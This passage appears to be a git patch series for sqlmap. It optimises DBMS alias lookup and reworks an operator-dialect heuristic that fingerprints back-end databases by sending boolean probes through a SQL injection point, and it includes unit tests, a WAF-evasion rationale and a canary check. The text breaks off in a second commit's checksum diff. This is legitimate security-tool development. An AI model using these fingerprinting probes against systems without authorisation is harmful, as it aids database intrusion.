From 6e459d66f264ce27aa928d0c1f965d168b015b35 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 10:34:53 +0200 Subject: [PATCH 01/34] Couple of optimizations --- data/txt/sha256sums.txt | 8 +-- lib/core/common.py | 50 ++++++++------ lib/core/settings.py | 2 +- lib/utils/dialect.py | 97 +++++++++++++++----------- tests/test_dialectdbms.py | 141 +++++++++++++++++++++----------------- 5 files changed, 168 insertions(+), 130 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 25692070e..342609ae6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py +751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py +b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -257,7 +257,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py -b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py +bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -602,7 +602,7 @@ c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_dat 8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py -b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py +fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py diff --git a/lib/core/common.py b/lib/core/common.py index 937064d70..ec7db6ff9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3310,7 +3310,16 @@ def isNumPosStrValue(value): return retVal -@cachedmethod +# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a +# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum() +# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via +# setdefault in dict order preserves the original first-match-wins semantics. +_DBMS_ALIAS_MAP = {} +for _dbmsKey, _dbmsItem in DBMS_DICT.items(): + for _dbmsAlias in _dbmsItem[0]: + _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey) + _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey) + def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias @@ -3319,15 +3328,7 @@ def aliasToDbmsEnum(dbms): 'Microsoft SQL Server' """ - retVal = None - - if dbms: - for key, item in DBMS_DICT.items(): - if dbms.lower() in item[0] or dbms.lower() == key.lower(): - retVal = key - break - - return retVal + return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None def findDynamicContent(firstPage, secondPage, merge=False): """ @@ -4414,7 +4415,11 @@ def safeSQLIdentificatorNaming(name, isTable=False): if isinstance(name, six.string_types): retVal = getUnicode(name) - _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + # Resolve the identified DBMS once; it is invariant within this call and + # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise + # re-evaluated several times below. + dbms = Backend.getIdentifiedDbms() + _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) @@ -4424,13 +4429,13 @@ def safeSQLIdentificatorNaming(name, isTable=False): if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): @@ -4463,16 +4468,21 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): + # Resolve the identified DBMS once; it is invariant within this call, and + # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously + # it was re-evaluated up to five times per call. + dbms = Backend.getIdentifiedDbms() + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 88b61ddd4..29ce4db15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.0" +VERSION = "1.10.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 3be67eac8..47f973edc 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression # OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing # false positives. See PROVE_DESIGN.md.) # -# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB, -# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, -# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With -# anchor value 2: +# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5, +# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, +# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify() +# (only measured signatures classify; anything else -> None). With anchor value 2: # # * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) # vs no such operator (SQLite/Oracle/... -> error, so false) @@ -52,57 +52,69 @@ DIALECT_PROBES = ( ("shift", "1<<2=4"), ) +# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that +# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails, +# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the +# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle +# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a +# meaningless signature. It uses a trailing-operator form, distinct from the ' ' no-operator +# form already exercised by sqlmap's earlier false-positive check, so it adds new information. +DIALECT_CANARY = "2+" + +# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live +# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a +# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition +# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the +# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once). +_SIGNATURE_DBMS = { + # xor pgpow intdiv bitor shift + (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL + (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True) + (False, True, True, True, False): DBMS.PGSQL, # CrateDB + (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift) + (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<') + (False, False, True, True, True): DBMS.SQLITE, # SQLite +} + def _classify(signature): """ - Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end - DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so - detection proceeds unchanged - the heuristic never wrong-foots the scan). + Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS + through a strict whitelist of live-measured signatures, or returns None when the signature is not + a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so + detection proceeds unchanged and the heuristic never wrong-foots the scan. - Rules below are the subset of the measured 11-engine truth table that maps with zero - false positives. Engines whose operator profile is not distinctive enough (Oracle's - all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or - a fully WAF-blocked channel also produces) deliberately fall through to None: - - >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB + >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB 'MySQL' - >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) + >>> _classify((False, True, True, True, True)) # PostgreSQL + 'PostgreSQL' + >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family + 'PostgreSQL' + >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family + 'PostgreSQL' + >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) 'Microsoft SQL Server' - >>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<') + >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<') 'MonetDB' - >>> _classify((False, True, True, True, False)) # PostgreSQL - 'PostgreSQL' - >>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family - 'PostgreSQL' - >>> _classify((False, False, True, True, True)) # SQLite + >>> _classify((False, False, True, True, True)) # SQLite 'SQLite' - >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior + >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None True - >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior + >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None + True + >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive True """ - xor, pgpow, intdiv, bitor, shift = signature - - if pgpow: # '^' is exponentiation -> PostgreSQL family - return DBMS.PGSQL - if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ... - # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator - # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines). - return DBMS.MONETDB if shift else DBMS.MSSQL - if xor and not intdiv: # '^' is XOR AND real division -> MySQL family - return DBMS.MYSQL - if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite - return DBMS.SQLITE - - return None + return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature)) def dialectCheckDbms(injection): """ Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe - here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or - WAF-blocked channel yields None, leaving the scan unchanged. + here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous, + WAF-blocked or false-positive channel yields None, leaving the scan unchanged. """ retVal = None @@ -114,9 +126,12 @@ def dialectCheckDbms(injection): kb.injection = injection try: - # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the - # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless - if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"): + # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE, + # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query + # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which + # is proof the oracle is trash, so classification is skipped (a true negative) instead of + # emitting a bogus DBMS from a meaningless signature. + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) retVal = _classify(signature) finally: diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 5dc28ac98..040d80b1a 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -4,13 +4,13 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth -table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines -on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end -DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous -map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour -(the probes producing these signatures through a real boolean injection) is exercised against -the live platform, not here. +Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table: +the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live +SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the +expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an +unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to +None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing +these signatures through a real boolean injection) is exercised against the live platform, not here. """ import os @@ -26,78 +26,80 @@ from lib.core.data import kb from lib.core.enums import DBMS from lib.utils.dialect import _classify from lib.utils.dialect import dialectCheckDbms +from lib.utils.dialect import DIALECT_CANARY -# measured 2026-06 across the sqli-platform (boolean form "id=2 AND ", anchor value 2); -# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs- -# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the -# shift flag does NOT change the classification, which the test proves by trying it both ways. +# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS. +# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so +# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint. MEASURED = { - "mysql": ((True, False, False, True), DBMS.MYSQL), - "mysql5": ((True, False, False, True), DBMS.MYSQL), - "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible - "postgres": ((False, True, True, True), DBMS.PGSQL), - "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) - "cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family - "sqlite": ((False, False, True, True), DBMS.SQLITE), + "mysql": ((True, False, False, True, True), DBMS.MYSQL), + "mysql5": ((True, False, False, True, True), DBMS.MYSQL), + "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible + "postgres": ((False, True, True, True, True), DBMS.PGSQL), + "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<') + "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<') + "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift + "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<' + "sqlite": ((False, False, True, True, True), DBMS.SQLITE), # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) - "firebird": ((False, False, True, False), None), - "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 - "derby": ((False, False, True, False), None), - "h2": ((False, False, True, False), None), - "trino": ((False, False, True, False), None), - "iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel - "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel -} - -# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv) -# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does. -SHIFT_SENSITIVE = { - "mssql": ((True, False, True, True, False), DBMS.MSSQL), - "monetdb": ((True, False, True, True, True), DBMS.MONETDB), + "firebird": ((False, False, True, False, False), None), + "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino + "derby": ((False, False, True, False, False), None), + "h2": ((False, False, True, False, False), None), + "trino": ((False, False, True, False, False), None), + "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel + "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel } class TestDialectClassification(unittest.TestCase): - def test_shift_sensitive_engines_split_correctly(self): - # MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift - # probe); 1<<2=4 (MonetDB only) now separates them. - for engine, (signature, expected) in SHIFT_SENSITIVE.items(): + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 5-probe signature maps to its expected DBMS (or None) + for engine, (signature, expected) in MEASURED.items(): self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) - def test_measured_engines_map_as_expected(self): - # for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the - # expected DBMS (proves the new probe never perturbs the existing classifications). - for engine, (base, expected) in MEASURED.items(): - for shift in (False, True): - self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) + def test_shift_splits_monetdb_from_mssql(self): + # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe); + # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator. + self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL) + self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB) - def test_no_false_positive_across_measured_set(self): - # non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None), - # never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive) - # engines, so assert it both ways. - for engine, (base, expected) in MEASURED.items(): - for shift in (False, True): - result = _classify(base + (shift,)) - self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected)) - # the only non-None DBMS priors the measured set can yield (sanity on the mapping itself) - produced = set(expected for _, expected in MEASURED.values() if expected is not None) - self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE}) + def test_whitelist_is_exact_no_false_positive(self): + # only the measured classifying signatures may yield a DBMS; everything else -> None. + classifying = set(sig for sig, exp in MEASURED.values() if exp is not None) + produced = set(exp for _, exp in MEASURED.values() if exp is not None) + self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE}) + # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one + for bits in range(32): + sig = tuple(bool(bits & (1 << i)) for i in range(5)) + result = _classify(sig) + if sig not in classifying: + self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result)) + + def test_all_true_noise_is_rejected(self): + # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive + # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and + # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL). + self.assertIsNone(_classify((True, True, True, True, True))) def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not - # distinctive enough - it must NOT be guessed as any DBMS + # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not + # distinctive - it must NOT be guessed as any DBMS self.assertIsNone(_classify((False, False, False, False, False))) self.assertIsNone(_classify((False, False, False, False, True))) - def test_pgpow_dominates_as_postgres_marker(self): - # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour - self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL) - self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL) + def test_pgpow_alone_is_not_enough(self): + # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full + # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise + # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim). + self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL + self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature class TestDialectCheckDbmsGuard(unittest.TestCase): - """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good - channel, and None (no prior) whenever the channel is unreliable - the safety contract.""" + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, + and None (no prior) whenever the channel is unreliable - the safety contract, including the + canary that turns a trashy false-positive channel into a true negative.""" def _run(self, truth): # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection @@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase): kb.injection = saved def test_identifies_mysql_on_good_channel(self): - truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True} + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} self.assertEqual(self._run(truth), DBMS.MYSQL) def test_identifies_postgres_on_good_channel(self): - truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True} + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True} self.assertEqual(self._run(truth), DBMS.PGSQL) def test_none_on_blocked_channel(self): @@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase): def test_none_on_static_channel(self): # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None - self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True})) + self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True})) + + def test_none_when_canary_reads_true(self): + # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even + # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the + # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS. + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL + self.assertIsNone(self._run(truth)) if __name__ == "__main__": From 8a75c0bb6253a7f196a0ca6422a57c031200ef72 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 11:06:39 +0200 Subject: [PATCH 02/34] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 42 +++++++++++++++++++++------------------- lib/core/settings.py | 2 +- 3 files changed, 25 insertions(+), 23 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 342609ae6..ec1d82ff0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e 